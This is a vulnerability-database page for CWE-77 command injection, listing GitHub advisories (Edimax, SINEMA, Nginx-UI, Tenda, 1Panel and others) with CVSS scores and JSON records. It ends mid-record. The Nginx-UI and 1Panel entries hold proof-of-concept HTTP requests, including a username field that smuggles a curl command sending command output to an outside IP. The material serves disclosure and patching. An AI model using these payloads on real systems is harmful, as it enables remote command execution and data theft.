Common Weakness Enumeration

CWE-77

Allowed-with-Review

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Abstraction: Class · Status: Draft

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

5397 vulnerabilities reference this CWE, most recent first.

GHSA-PXFJ-34H8-MJFC

Vulnerability from github – Published: 2025-04-15 15:30 – Updated: 2025-04-15 21:31

Details

Edimax AC1200 Wave 2 Dual-Band Gigabit Router BR-6478AC V3_1.0.15 was discovered to contain a command injection vulnerability via the groupname at the /boafrm/formDiskCreateGroup.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-28143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T15:16:08Z",
    "severity": "MODERATE"
  },
  "details": "Edimax AC1200 Wave 2 Dual-Band Gigabit Router BR-6478AC V3_1.0.15 was discovered to contain a command injection vulnerability via the groupname at the /boafrm/formDiskCreateGroup.",
  "id": "GHSA-pxfj-34h8-mjfc",
  "modified": "2025-04-15T21:31:42Z",
  "published": "2025-04-15T15:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28143"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/regainer27/885505cda80f81069ba39b11f2f996fc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/regainer27/edimax-br-6478ac_v3-br-6478ac_v3_1.0.15/tree/main/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PXH7-RQM4-2H48

Vulnerability from github – Published: 2022-06-15 00:00 – Updated: 2024-07-09 12:30

Details

A vulnerability has been identified in SINEMA Remote Connect Server (All versions < V3.1). The affected application contains a file upload server that is vulnerable to command injection. An attacker could use this to achieve arbitrary code execution.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2022-32262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-14T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been identified in SINEMA Remote Connect Server (All versions \u003c V3.1). The affected application contains a file upload server that is vulnerable to command injection. An attacker could use this to achieve arbitrary code execution.",
  "id": "GHSA-pxh7-rqm4-2h48",
  "modified": "2024-07-09T12:30:55Z",
  "published": "2022-06-15T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32262"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-484086.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-484086.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PXMR-Q2X3-9X9M

Vulnerability from github – Published: 2024-01-11 16:30 – Updated: 2026-07-06 19:12

Summary

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Details

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
    if settings.NginxSettings.TestConfigCmd != "" {
        out = execShell(settings.NginxSettings.TestConfigCmd)

        return
    }

    out = execCommand("nginx", "-t")

    return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
    bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
    out = string(bytes)
    if err != nil {
        out += " " + err.Error()
    }
    return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".

POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}

Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
Verify that /tmp/pwned exists.

$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20231219184941-827e76c46e63"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-11T16:30:29Z",
    "nvd_published_at": "2024-01-11T18:15:45Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn\u0027t allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        ...\n        Nginx  settings.Nginx  `json:\"nginx\"`\n        ...\n    }\n\n    ...\n\n    settings.NginxSettings = json.Nginx\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: \u003c\u003cJWT TOKEN\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home \u003e Manage Sites \u003e Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.",
  "id": "GHSA-pxmr-q2x3-9x9m",
  "modified": "2026-07-06T19:12:19Z",
  "published": "2024-01-11T16:30:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2464"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)"
}

GHSA-Q23X-M6HH-JVF5

Vulnerability from github – Published: 2024-02-09 00:31 – Updated: 2024-02-15 06:31

Details

An issue was discovered in Atos Unify OpenScape Voice Trace Manager V8 before V8 R0.9.11. It allows authenticated command injection via ftp.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2023-40263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-08T23:15:09Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Atos Unify OpenScape Voice Trace Manager V8 before V8 R0.9.11. It allows authenticated command injection via ftp.",
  "id": "GHSA-q23x-m6hh-jvf5",
  "modified": "2024-02-15T06:31:35Z",
  "published": "2024-02-09T00:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40263"
    },
    {
      "type": "WEB",
      "url": "https://networks.unify.com/security/advisories/OBSO-2305-02.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q253-8QXH-GX79

Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-08 00:31

Details

A vulnerability was found in 8421bit MiniClaw up to 223c16a1088e138838dcbd18cd65a37c35ac5a84. Affected is the function executeCognitivePulse of the file src/kernel.ts. Performing a manipulation results in os command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The patch is named 028f62216dee9f64833d0f1cfda7c217067ceba8. To fix this issue, it is recommended to deploy a patch.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

2.1 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

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{
  "affected": [],
  "aliases": [
    "CVE-2026-8112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-07T22:16:37Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in 8421bit MiniClaw up to 223c16a1088e138838dcbd18cd65a37c35ac5a84. Affected is the function executeCognitivePulse of the file src/kernel.ts. Performing a manipulation results in os command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The patch is named 028f62216dee9f64833d0f1cfda7c217067ceba8. To fix this issue, it is recommended to deploy a patch.",
  "id": "GHSA-q253-8qxh-gx79",
  "modified": "2026-05-08T00:31:34Z",
  "published": "2026-05-08T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8112"
    },
    {
      "type": "WEB",
      "url": "https://github.com/8421bit/MiniClaw/issues/4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/8421bit/MiniClaw/pull/7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/8421bit/MiniClaw/commit/028f62216dee9f64833d0f1cfda7c217067ceba8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/8421bit/MiniClaw"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/808166"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/361900"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/361900/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q258-48F4-R94W

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2025-02-28 21:31

Details

Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31195.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2021-31198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-77",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31195.",
  "id": "GHSA-q258-48f4-r94w",
  "modified": "2025-02-28T21:31:54Z",
  "published": "2022-05-24T19:02:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31198"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31198"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-894"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q25G-M88J-XMGX

Vulnerability from github – Published: 2025-05-02 15:31 – Updated: 2025-05-02 15:31

Details

Lack of input validation/sanitization in the 'setLanCfg' API endpoint in httpd in the Tenda RX2 Pro 16.03.30.14 allows a remote attacker that is authorized to the web management portal to gain root shell access to the device by sending a crafted web request. This is persistent because the command injection is saved in the configuration of the device.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2025-46625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T20:15:38Z",
    "severity": "HIGH"
  },
  "details": "Lack of input validation/sanitization in the \u0027setLanCfg\u0027 API endpoint in httpd in the Tenda RX2 Pro 16.03.30.14 allows a remote attacker that is authorized to the web management portal to gain root shell access to the device by sending a crafted web request. This is persistent because the command injection is saved in the configuration of the device.",
  "id": "GHSA-q25g-m88j-xmgx",
  "modified": "2025-05-02T15:31:45Z",
  "published": "2025-05-02T15:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46625"
    },
    {
      "type": "WEB",
      "url": "https://blog.uturn.dev/#/writeups/iot-village/tenda-rx2pro/README?id=cve-2025-46625-command-injection-through-setlancfg-in-httpd"
    },
    {
      "type": "WEB",
      "url": "https://www.tendacn.com/us/default.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2CH-643M-222M

Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-25 21:31

Details

Improper Neutralization of Special Elements used in a Command ('Command Injection') in Owl opds 2.2.0.4 allows Command Injection via a crafted network request.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

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{
  "affected": [],
  "aliases": [
    "CVE-2026-2333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-20T17:25:57Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) in Owl opds 2.2.0.4 allows Command Injection via a crafted network request.",
  "id": "GHSA-q2ch-643m-222m",
  "modified": "2026-02-25T21:31:17Z",
  "published": "2026-02-20T18:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2333"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2026-2333"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q2M3-HJGQ-X5R2

Vulnerability from github – Published: 2025-07-30 18:31 – Updated: 2025-07-30 21:31

Details

A PHAR deserialization vulnerability in the component /themes/import of PrestaShop v8.2.0 allows attackers to execute arbitrary code via a crafted POST request.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

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{
  "affected": [],
  "aliases": [
    "CVE-2025-25691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-30T17:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A PHAR deserialization vulnerability in the component /themes/import of PrestaShop v8.2.0 allows attackers to execute arbitrary code via a crafted POST request.",
  "id": "GHSA-q2m3-hjgq-x5r2",
  "modified": "2025-07-30T21:31:38Z",
  "published": "2025-07-30T18:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25691"
    },
    {
      "type": "WEB",
      "url": "https://github.com/3em0/cve_repo/blob/main/preshop/CVE-2025-25691.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrestaShop/PrestaShop"
    },
    {
      "type": "WEB",
      "url": "http://dem0.com"
    },
    {
      "type": "WEB",
      "url": "http://dem0.com/admin/index.php/improve/design/themes/import?_token=btRUtV2Om2noliZZjeFQZhlMY3gYivjABbPOjP91L6U"
    },
    {
      "type": "WEB",
      "url": "http://prestashop.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2MX-GPJF-3H8X

Vulnerability from github – Published: 2023-07-05 21:38 – Updated: 2023-07-05 21:38

Summary

1Panel vulnerable to command injection when adding container repositories

Details

Impact

The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.

Vulnerability analysis.

backend\app\api\v1\image_repo.go#create

backend\app\service\image_repo.go#CheckConn

vulnerability reproduction.

POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 446
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e

{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

Using update can be triggered multiple times.

POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 447
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e

{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/1Panel-dev/1Panel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-05T21:38:07Z",
    "nvd_published_at": "2023-07-05T21:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\image_repo.go#create\n```\n![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png)\n\n```\nbackend\\app\\service\\image_repo.go#CheckConn\n```\n![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png)\n\n2. vulnerability reproduction.\n\n```\nPOST /api/v1/containers/repo HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 446\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`ls`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\n3. Using update can be triggered multiple times.\n\n```\nPOST /api/v1/containers/repo/update HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 447\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`pwd`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: 